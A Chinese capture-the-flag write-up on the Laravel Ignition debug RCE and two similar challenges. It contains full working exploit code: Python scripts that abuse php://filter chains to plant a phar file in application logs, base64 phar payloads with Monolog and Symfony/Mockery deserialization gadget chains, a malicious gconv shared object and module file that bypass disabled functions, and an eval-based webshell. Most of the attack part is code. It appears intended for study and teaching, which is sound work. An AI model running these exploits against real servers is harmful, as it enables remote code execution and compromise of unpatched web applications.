这两个题目的口子一样,完全可以参照 laravel 8 debug rce
的漏洞,里面值得细讲的就是转换器,和不同框架的日志文件,先分析漏洞吧,框架有很多,日志也不相同,希望同样的漏洞发生在不同框架时,可以通过分析日志来变通。
环境是在 win下面的。
composer create-project laravel/laravel="8.0.*" laravel8.0 --prefer-dist
cd laravel8.0
composer require facade/ignition==2.5.1
php artisan serve
由于我们是直接创建了一个项目所以,没有出现Ignition
(Laravel 6+默认错误页面生成器),这个错误页面生成器会提供一个solutions
。在 这个控制器中有入口。
src/Http/Controllers/ExecuteSolutionController.php
solution
可控 那就可以调用任意 solution
的run
方法。且参数可控。
利用点在src/Solutions/MakeViewVariableOptionalSolution.php
viewFile
可控,可以或许可以任意写, $output
是否可控呢?打个断点,看是否污染吧。构造如下数据
如果我们传入了variableName
,$output
是不会改变的。
那么代码简化
$output=file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);
写入的文件 和 文件内容是没办法齐美的。写入木马自然不可以。
原作者的思路,是尝试往日志文件中写入 phar
文件,然后在 file_get_contents
处触发 反序列化。
我们可以利用 php://filter/write=
过滤器 来获取日志文件的内容,然后在写入过滤后的内容来,写入完整的 phar文件。
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
参考链接已经解释很详细了,就不造次了。
=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00
可以先观察日志文件,日志只记录了报错信息。
[2021-05-19 07:54:58] local.ERROR: file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00): failed to open stream: No such file or directory at D:\\ctf\\phpstudy\\phpstudy_pro\\WWW\\sources\\laravel\\laravel8.0\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
……
可以发现 我们的payload (xxxxx)
出现了两次。
重点讲一下 写入phar 文件时清空干扰词遇见的的问题。
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
quoted-printable-decode
会把我们的payload解码,
然后在再 utf-16le->utf-8
utf-16le
是两个字节编码的,
可以看一下,其实 相当于 就是 将 1234 => 1\02\03\04\0
我们写入的payload
也是这种形式的,我们希望在 utf-16le -> utf-8
的时候我们的payload
可以得到正确的解码
那么就需要 payload 前面的字符数量是 偶数个。
喔?奇数个?我们是有两个payload
在日志文件中的,这两个payload中间也是奇数个的。
而日志文件是奇数个的。
xxxx | payload | xxxx | payload | xxxx |
---|---|---|---|---|
奇数 | 偶数 | 奇数 | 偶数 | 奇数 |
这样的话我们可以尝试复写一个前缀进去,
xxxx | AA | xxxx | AA | xxxx |
---|---|---|---|---|
奇数 | 偶数 | 奇数 | 偶数 | 奇数 |
xxxx | payload | xxxx | payload | xxxx |
---|---|---|---|---|
奇数 | 偶数 | 奇数 | 偶数 | 奇数 |
这样的话,我们处于前面位置的payload
就会在转码后 完整保留下来。当我把payload
换成phar 的链子的时候,出现了错误,我看有的师傅会在 payload
后面再加一个 A,问题是解决了。可能日志的问题吧。但加前缀在一定程度上一定没问题的。
如果在写入phar文件的时候出现了问题,不妨再在payload
后加一个 A 后缀吧。
贴个自己写的exp吧。
import requests
import json
url = "http://127.0.0.1:8000/_ignition/execute-solution"
#清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
#payload
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpgAQAAAgAAABEAAAABAAAAAAAJAQAATzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6Mzp7czoxNjoiACoAcGFzc3RocnVMZXZlbCI7aTowO3M6OToiACoAYnVmZmVyIjthOjE6e3M6NDoidGVzdCI7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czoxMDoiACoAaGFuZGxlciI7TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fQUAAABkdW1teQQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAAgAAAB0ZXN0LnR4dAQAAABT2KRgBAAAAAx+f9ikAQAAAAAAAHRlc3R0ZXN07IzUmEt8iAPk56fX9y7EGC+LREcCAAAAR0JNQg=='
file2=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()+'A'
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
file4='phar://../storage/logs/laravel.log'
def getpayload(file):
payload = json.dumps({
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": file
}
})
return payload
headers = {
'Content-Type': 'application/json'
}
def write():
res=requests.request("POST", url, headers=headers, data=getpayload(file1))
if 'ErrorException' in res.text:
requests.request("POST", url, headers=headers, data=getpayload(file1))
requests.request("POST", url, headers=headers, data=getpayload('AA'))
requests.request("POST", url, headers=headers, data=getpayload(file2))
res=requests.request("POST", url, headers=headers, data=getpayload(file3))
if 'ErrorException' in res.text:
print('写入失败,重来喽')
write()
当然这个漏洞还可以利用 file_put_contents
通过 ftp
被动模式 打ssrf
。
给了源码,phar文件写入日志的漏洞还在,但是要重新找一个链子。
找 __destruct
Importconfigurator
类中
找 __call()
HigherOrderMessage
类中
这里可以实例化任意类,并调用其任意方法。
找存在危险函数的方法。
Mockclass
类
这里可以执行任意代码。
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent = $class;
$this->route = 'test';
}
}
}
namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock = $class;
$this->method = 'generate';
}
}
}
namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "phpinfo();";
$this->mockName = 'jiang';
}
}
}
namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;
$m = new MockTrait();
$h = new HigherOrderMessage($m);
$i = new ImportConfigurator($h);
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> addFromString("test.txt","test");
$phar -> setStub("GIF89a"."");
$phar -> setMetadata($i);
$phar -> stopBuffering();
echo base64_encode(file_get_contents('phar.phar'));
}
?>
将payload 带进上面的 exp,打不通?这就是 在后面加’A’的问题了,去掉就可以了。
ban了 iconv
和iconv_strlen
。 有猫腻哈哈。留了 putenv
,但还ban了 mail
应该就是利用 php://filter
中的 iconv
转换器来加载恶意so 了,还开了 open_basedir
漏洞原型如下
https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
先写一个可持续利用log 吧,不然每次都要重新打,很烦。
jiang.phar
内容是一个 eval($_GET[cmd])
的木马
用glob
和 ini_set
都没绕过 这open_basedir
,很奇怪。
guoke师傅的wp里说 有 /readflag
,
在传入 .so
文件和 module
文件的时候,不能从远程vps
上下载,只能分段传输了,切记 分段传输的时候 文件的完整性,如果最后没打通,来检查检查 .so
文件是否完整。
#include
#include
void gconv() {}
void gconv_init() {
system("/readflag > /tmp/flag");
exit(0);
}
gcc payload.c -o payload.so -shared -fPIC
gconv-modules
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
在exp 中加入这个函数,跑就好了,上面的 write
函数可以不用执行了,记得修改phar://
。
def read():
parm="?cmd=print_r(scandir('/tmp'));putenv('GCONV_PATH=/tmp/');file_put_contents('php://filter/write=convert.iconv.payload.utf-8/resource=/tmp/jiang','jiang');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
while 'flag' not in res.text:
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print('continue')
parm="?cmd=echo file_get_contents('/tmp/flag');"
res=requests.request("POST", url=url+parm, headers=headers, data=getpayload(file4))
print(res.text.split('')[1])
read()
这里比较玄学,因为在转换器触发.so 文件的时候,并不一定会成功,第一次做的时候 十几次,写wp再做的时候 跑了上百次,多发几次。( fuck 我加的
题目就给了个 composer.json
文件 和 控制器,hint是 log的配置
log可以写进本地配置自己打的,在config/web.config
里
同样是把报错内容写进 日志里。
不一样的是,日志的 payload(xxxxxxx)
只出现了一次,
我们 编码后的payload
一定是偶数,
前偶后偶,不用加前缀了,直接打payload
就可以了诶。
本地环境可能有些问题,牛头不对马嘴了
这两个日志不同的 是 ??? 没了。
长度还变成了 奇数个。
不过不影响,因为我们 payload前面是不变的偶数,影响的只有后面,只有保证后面是偶数个,在 utf-16le->utf-8
的时候不报错就OK。
加一个 A 就行。
这道题的坑在
这里,
yii这个版本没可用的链子。
需要用 monolog
组件的链子打
exp如下
import requests
import os
s='PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQq+AgAAAgAAABEAAAABAAAAAABnAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6Njoic29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo0OiJjYWxjIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6Njoic3lzdGVtIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NDoiY2FsYyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjY6InN5c3RlbSI7fX19BQAAAGR1bW15BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAHsMpWAEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3SLzw7MRTDv+IZ+8iRcMtNeQdjWsQIAAABHQk1C'
payload=''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
url = "http://localhost:8080/?file="
proxies = {
"http": None,
"https": None,
}
# 清空
file1='php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
#payload
file2=payload
# 清楚干扰字
file3='php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log'
file4='phar://../runtime/logs/app.log'
def write():
res = requests.get(url=url+file1,proxies=proxies)
while 'Congratulations!' not in res.text:
res = requests.get(url=url+file1,proxies=proxies)
#题目环境可能 payload前面偶数后奇数,所以后面再加以个 A (payload永远偶数)
#requests.get(url=url+'AA',proxies=proxies) #题目环境的日志可能不一样,如果加上A 出错,不加A 出不来,就把这个注释去掉
requests.get(url=url+file2+'A',proxies=proxies) # 本地如果加了A 出错,就把A去掉,
res = requests.get(url=url+file3,proxies=proxies)
if 'Congratulations!' not in res.text:
print('重来!!')
else:
print('写入成功')
read()
def read():
res=requests.get(url=url+file4,proxies=proxies)
print(res.text)
write()
这是弹计算器的,buu上复现的话,记得换payload
。
每个人的目录结构不同,日志也会不一样,原理大抵如此,如果有遇到什么问题还请告知,还有爱春秋春季赛TP5.1.41的类似问题,也方便解答。
参考
https://www.ambionics.io/blog/laravel-debug-rce
https://xz.aliyun.com/t/9030